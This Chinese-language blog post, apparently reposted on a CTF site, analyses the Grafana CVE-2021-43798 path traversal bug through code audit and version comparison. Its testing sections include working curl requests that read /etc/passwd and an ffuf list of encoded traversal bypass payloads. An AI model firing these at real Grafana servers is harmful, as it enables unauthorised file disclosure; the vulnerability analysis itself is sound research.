【高危】CVE-2021-43798 GRAFANA 路径遍历漏洞

渗透技巧 2年前 (2021) admin
1,209 0 0

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


背景介绍:


编号CVE-2021-43798 Grafana 路径遍历漏洞的CVSS 3的评分为7.5,该漏洞于2021年12月被国外一位安全研究员(ID:j0vsec)所发现。


该研究员于 12 月 2 日向 Grafana 报告了此漏洞,Grafana团队立即采取了行动,由于这是该研究员发现的第一个高危漏洞,他异常兴奋,很快发布了一条关于他在 Grafana 中发现路径遍历漏洞的推文,几天后,他收到通知,其他安全研究人员也同样发现了 Grafana 代码中的该漏洞,他们在 GitHub 和 Twitter 上发布了概念验证(POC),这让 Grafana 团队处于了紧张的境地,因此修复程序很快于 12 月 7 日发布,比计划提前了几天。这位研究员不禁感慨,“永远不要低估社交媒体的力量,必须控制自己的兴奋”,另一个吸取的教训则是阅读 Golang 文档的重要性。


本篇文章,会解释本漏洞及这位安全研究员的检测方法。


代码审计:


在审计Grafana源代码期间,这位研究员在Golang中搜索读取文件的典型方法,Golang中使用的函数之一是os.Open。pkg/api/plugins.go文件中的getPluginAssets方法调用os.Open引起了他的注意。


来看一段代码:

// getPluginAssets returns public plugin assets (images, JS, etc.)//// /public/plugins/:pluginId/*func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {  pluginID := web.Params(c.Req)[":pluginId"]  plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)  if !exists {    c.JsonApiErr(404, "Plugin not found", nil)    return  }
requestedFile := filepath.Clean(web.Params(c.Req)["*"]) pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
if !plugin.IncludedInSignature(requestedFile) { hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+ "is not included in the plugin signature", "file", requestedFile) }
// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently // use this with a prefix of the plugin's directory, which is set during plugin loading // nolint:gosec f, err := os.Open(pluginFilePath) if err != nil { if os.IsNotExist(err) { c.JsonApiErr(404, "Plugin file not found", err) return } c.JsonApiErr(500, "Could not open plugin file", err) return }

可以看到,

在pluginFilePath中打开了文件,文件内容在/public/plugins/<pluginID>/<path>调用的HTTP响应中结束,而pluginFilePath创建方式如下:


requestedFile := filepath.Clean(web.Params(c.Req)["*"])pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)


它从URL中获取路径,然后将其传递给filepath.Clean,并将其与插件目录config连接起来。


这研究员快速创建了一个Golang脚本进行尝试:


func main() {    pluginDir := "/usr/share/grafana/public/app/plugins/datasource/mysql/"
pathValue := "..///..///..///..///..///..///..///..///etc/passwd" requestedFile := filepath.Clean(pathValue) pluginFilePath := filepath.Join(pluginDir, requestedFile)
fmt.Println(pluginFilePath)}


该脚本的输出结果是:

/etc/passwd


这意味着传递给os.Open文件路径,而将pathValue更改为/../../etc/passwd后,结果表明该路径被正确的处理。


Golang文件中的相关说明:

func Clean(path string) string
Clean returns the shortest path name equivalent to path by purely lexical processing. It applies the following rules iteratively until no further processing can be done:
1. Replace multiple Separator elements with a single one.2. Eliminate each . path name element (the current directory).3. Eliminate each inner .. path name element (the parent directory) along with the non-.. element that precedes it.4. Eliminate .. elements that begin a rooted path: that is, replace "/.." by "/" at the beginning of a path, assuming Separator is '/'.


如果路径不以斜杠开头,则不会被清理,URL中的pluginId是动态的,但是Grafana附带了相当多的默认插件,所以这里的任何插件ID理论上都是可以正常运行的。


路径遍历测试:


在测试了Golang、Clean和Join函数之后,接下来必须找到一种Grafana中可以利用这一点的方法,于是这位安全研究员启动了一个Docker(Grafana的版本为8.2.6),他在位于/usr/share/grafana的路径中找到了VERSION文件。


使用curl命令进行测试:


$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../VERSION


在Grafana的输出日志,出现了以下错误:


open /usr/share/grafana/public/app/plugins/VERSION: no such file or directory


根据日志提示,成功遍历了两个目录层级,但是要访问版本文件,还需要再添加三个层级:


$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../VERSION8.2.6


成功!如果添加5个层级的路径遍历,就会进入到/usr/share/grafana目录,这也意味着再增加3个层级就可以成功进入文件系统根目录:


$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologin...


Fuzzing


很多防火墙或WAF会阻断../路径的遍历,因此这位安全研究员也尝试了许多不同的绕过方案,他使用了 traversals-8-deep-exotic-encoding.txt 字典,关于这个fuzz字典,各位可参看我之前的一篇推送:Payload在手,天下我有


$ ffuf -u http://localhost:3000/public/plugins/mysqlFUZZ -w ~/Downloads/traversals_version -mc 200/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/........................................................................../../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/..//..//..//..//..//VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/..///..///..///..///..///VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/./.././.././.././.././../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/.//..//.//..//.//..//.//..//.//..//VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/../..//../..//../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]/../..//../..//..///VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]:: Progress: [887/887] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 112 ::


可以看到有很多绕过的方法可以获得有效的遍历。


其它Grafana版本是否受影响?


在深入研究pkg/api/plugins.go文件的Git历史之后,这位研究员发现导致此漏洞的代码并不总是代码库的这一部分,它是在2021年4月才引入的,作为一些重构的一部分,包含这个新代码的Grafana的第一个版本是v8.0.0-beta1,因此只有grafana v8.*.*会受到该漏洞的攻击。


通过下载Grafana v7的源代码进行比较:


for _, route := range plugins.StaticRoutes {  pluginRoute := path.Join("/public/plugins/", route.PluginId)  hs.log.Debug("Plugins: Adding route", "route", pluginRoute, "dir", route.Directory)  hs.mapStatic(m, route.Directory, "", pluginRoute)}
hs.mapStatic(m, setting.StaticRootPath, "build", "public/build")hs.mapStatic(m, setting.StaticRootPath, "", "public")hs.mapStatic(m, setting.StaticRootPath, "robots.txt""robots.txt")


mapStatic方法添加了一个Static中间件,并且在最后使用了staticHandler函数。

func staticHandler(ctx *macaron.Context, log *log.Logger, opt StaticOptions) bool {  if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {    return false  }
file := ctx.Req.URL.Path // if we have a prefix, filter requests by stripping the prefix if opt.Prefix != "" { if !strings.HasPrefix(file, opt.Prefix) { return false } file = file[len(opt.Prefix):] if file != "" && file[0] != '/' { return false } }
f, err := opt.FileSystem.Open(file) // ...


所以事实证明,file传递给的opt.FileSystem.Open也是直接从 URL 中检索的,但是使用上面的代码,Grafana 为何不会受到路径遍历的影响,经过一番深入挖掘,结果是FileSystem.Open使用对象中的GolangOpen函数http.Dir而不是使用os库。该Open方法在http.Dir看起来如下:


func (d Dir) Open(name string) (File, error) {  if filepath.Separator != '/' && strings.ContainsRune(name, filepath.Separator) {    return nil, errors.New("http: invalid character in file path")  }  dir := string(d)  if dir == "" {    dir = "."  }  fullName := filepath.Join(dir, filepath.FromSlash(path.Clean("/"+name)))  f, err := os.Open(fullName)  if err != nil {    return nil, mapDirOpenError(err, fullName)  }  return f, nil}


有趣的部分在:


fullName := filepath.Join(dir, filepath.FromSlash(path.Clean("/"+name)))


所以在 Go 的内部库中,它静态地传递给path.Clean,正如之前所测试的那样,这将会正确地从文件路径中去除路径遍历。


感谢阅读,读者可通过下方“阅读原文”跳转至原文网站查看。


====正文结束====

原文始发于微信公众号(骨哥说事):【高危】CVE-2021-43798 GRAFANA 路径遍历漏洞

版权声明:admin 发表于 2021年12月30日 上午10:19。
转载请注明:【高危】CVE-2021-43798 GRAFANA 路径遍历漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...